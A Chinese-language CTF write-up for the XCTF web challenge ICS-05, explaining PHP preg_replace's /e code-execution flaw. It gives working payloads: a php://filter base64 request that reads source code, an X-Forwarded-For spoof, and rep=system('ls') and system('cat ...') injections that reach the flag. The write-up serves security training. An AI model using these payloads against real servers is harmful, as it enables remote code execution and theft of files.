攻防世界-web-ICS-05
今天练习了一下攻防世界里面的web靶场,做了一个题目,叫ics-05,主要是关于preg_replace这个函数可能存在命令执行漏洞~~
先前介绍:
慎用preg_replace危险的/e修饰符(一句话后门常用)
1 | preg_replace原型: |
pattern: 要搜索的模式,可以是字符串或一个字符串数组。
replacement: 用于替换的字符串或字符串数组。
subject: 要搜索替换的目标字符串或字符串数组。
preg_replace函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。
特别说明:preg_replace函数存在命令执行漏洞。 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
例如:
1 |
|
当提交h=phpinfo()时,phpinfo()将会被执行。(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
1、 php伪协议读取源码
看到url中的page=index,将index替换成其他字符串,屏幕则显示其他字符串。猜测page=index中,page这个函数可能存在文件包含漏洞。
使用php伪协议直接读取代码:
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
注:这句话的意思就是我们用base64编码的方式来读取文件index.php

2、使用base64将代码解密
使用在线base64解密,将第一步所得到的base64代码进行解密,得到如下关键代码:
1 | //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 |
preg_replace函数存在命令执行漏洞:使用函数的/e模式,导致代码执行的问题。
3、命令执行
根据源码,当X_FORWARDED_FOR改为127.0.0.1之后,然后传入三个参数,对其中的rep参数进行命令执行。
例如:
1 | pat=/test/e&rep=phpinfo()&sub=jutst+test |

4、获取flag
1 | 使用rep=system("ls") |

看到一个文件s3chahahaDir,
1 | 列举里面的文件:rep=system("ls+s3chahahaDir") |
看到flag

1 | 进入flag:rep=system("ls+s3chahahaDir/flag") |

得到flag.php里面的内容:
1 | rep=system("cat+s3chahahaDir/flag/flag.php") |
